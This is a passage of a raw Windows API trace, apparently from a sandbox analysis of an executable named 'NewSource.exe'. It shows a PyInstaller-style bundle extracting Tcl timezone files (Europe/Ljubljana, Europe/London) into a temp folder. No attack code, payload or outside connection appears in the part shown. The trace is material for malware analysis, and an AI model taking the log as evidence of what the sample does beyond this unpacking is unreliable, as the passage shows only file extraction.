"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.414] GetFileType (hFile=0x10c) returned 0x1 [0042.414] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.414] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.414] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.414] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.414] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.414] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.415] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.415] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.415] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.415] CloseHandle (hObject=0x10c) returned 1 [0042.415] GetLastError () returned 0x0 [0042.415] SetLastError (dwErrCode=0x0) [0042.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana") returned 73 [0042.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\ljubljana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.415] GetLastError () returned 0x2 [0042.415] SetLastError (dwErrCode=0x2) [0042.415] GetLastError () returned 0x2 [0042.415] SetLastError (dwErrCode=0x2) [0042.415] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana", lpFilePart=0x0) returned 0x48 [0042.415] GetLastError () returned 0x2 [0042.415] SetLastError (dwErrCode=0x2) [0042.415] GetLastError () returned 0x2 [0042.415] SetLastError (dwErrCode=0x2) [0042.415] GetLastError () returned 0x2 [0042.415] SetLastError (dwErrCode=0x2) [0042.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana") returned 73 [0042.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Ljubljana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\ljubljana"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.415] GetFileType (hFile=0x10c) returned 0x1 [0042.416] htonl (hostlong=0xb9000000) returned 0xb9 [0042.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.416] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0042.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.417] CloseHandle (hObject=0x10c) returned 1 [0042.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d298 | out: hHeap=0x530000) returned 1 [0042.417] htonl (hostlong=0x30000000) returned 0x30 [0042.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.417] GetFileType (hFile=0x10c) returned 0x1 [0042.417] htonl (hostlong=0xa6345c00) returned 0x5c34a6 [0042.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60e4a6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.417] htonl (hostlong=0x43080000) returned 0x843 [0042.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x843) returned 0x55e278 [0042.417] htonl (hostlong=0x43080000) returned 0x843 [0042.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.417] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.417] htonl (hostlong=0x6f260000) returned 0x266f [0042.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x266f) returned 0x561090 [0042.417] htonl (hostlong=0x43080000) returned 0x843 [0042.417] htonl (hostlong=0x6f260000) returned 0x266f [0042.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563708 [0042.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563708 | out: hHeap=0x530000) returned 1 [0042.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.417] CloseHandle (hObject=0x10c) returned 1 [0042.418] GetLastError () returned 0x0 [0042.418] SetLastError (dwErrCode=0x0) [0042.418] GetLastError () returned 0x0 [0042.418] SetLastError (dwErrCode=0x0) [0042.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.418] GetFileType (hFile=0x10c) returned 0x1 [0042.418] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.418] CloseHandle (hObject=0x10c) returned 1 [0042.418] GetLastError () returned 0x0 [0042.418] SetLastError (dwErrCode=0x0) [0042.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.418] GetFileType (hFile=0x10c) returned 0x1 [0042.418] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.419] CloseHandle (hObject=0x10c) returned 1 [0042.419] GetLastError () returned 0x0 [0042.432] SetLastError (dwErrCode=0x0) [0042.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.440] GetFileType (hFile=0x10c) returned 0x1 [0042.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.441] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.441] CloseHandle (hObject=0x10c) returned 1 [0042.448] GetLastError () returned 0x0 [0042.449] SetLastError (dwErrCode=0x0) [0042.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London") returned 70 [0042.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\london"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.449] GetLastError () returned 0x2 [0042.449] SetLastError (dwErrCode=0x2) [0042.449] GetLastError () returned 0x2 [0042.449] SetLastError (dwErrCode=0x2) [0042.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London", lpFilePart=0x0) returned 0x45 [0042.449] GetLastError () returned 0x2 [0042.449] SetLastError (dwErrCode=0x2) [0042.449] GetLastError () returned 0x2 [0042.449] SetLastError (dwErrCode=0x2) [0042.449] GetLastError () returned 0x2 [0042.449] SetLastError (dwErrCode=0x2) [0042.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London") returned 70 [0042.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\London" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\london"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.452] GetFileType (hFile=0x10c) returned 0x1 [0042.452] htonl (hostlong=0x6f260000) returned 0x266f [0042.452] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.569] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x66f, lpOverlapped=0x0) returned 1 [0042.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.569] CloseHandle (hObject=0x10c) returned 1 [0042.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.569] htonl (hostlong=0x30000000) returned 0x30 [0042.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.569] GetFileType (hFile=0x10c) returned 0x1 [0042.570] htonl (hostlong=0xe93c5c00) returned 0x5c3ce9 [0042.570] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60ece9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.570] htonl (hostlong=0x42070000) returned 0x742 [0042.570] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x742) returned 0x55e278 [0042.570] htonl (hostlong=0x42070000) returned 0x742 [0042.570] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.570] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.570] htonl (hostlong=0x7a220000) returned 0x227a [0042.570] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x227a) returned 0x561090 [0042.570] htonl (hostlong=0x42070000) returned 0x742 [0042.570] htonl (hostlong=0x7a220000) returned 0x227a [0042.570] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563318 [0042.570] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563318 | out: hHeap=0x530000) returned 1 [0042.570] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.570] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.570] CloseHandle (hObject=0x10c) returned 1 [0042.570] GetLastError () returned 0x0 [0042.570] SetLastError (dwErrCode=0x0) [0042.570] GetLastError () returned 0x0 [0042.570] SetLastError (dwErrCode=0x0) [0042.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.570] GetFileType (hFile=0x10c) returned 0x1 [0042.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.571] CloseHandle (hObject=0x10c) returned 1 [0042.571] GetLastError () returned 0x0 [0042.571] SetLastError (dwErrCode=0x0) [0042.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.571] GetFileType (hFile=0x10c) returned 0x1 [0042.571] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.571] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.571] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.571] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.571] CloseHandle (hObject=0x10c) returned 1 [0042.571] GetLastError () returned 0x0 [0042.571] SetLastError (dwErrCode=0x0) [0042.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.572] GetFileType (hFile=0x10c) returned 0x1 [0042.572] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.572] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, 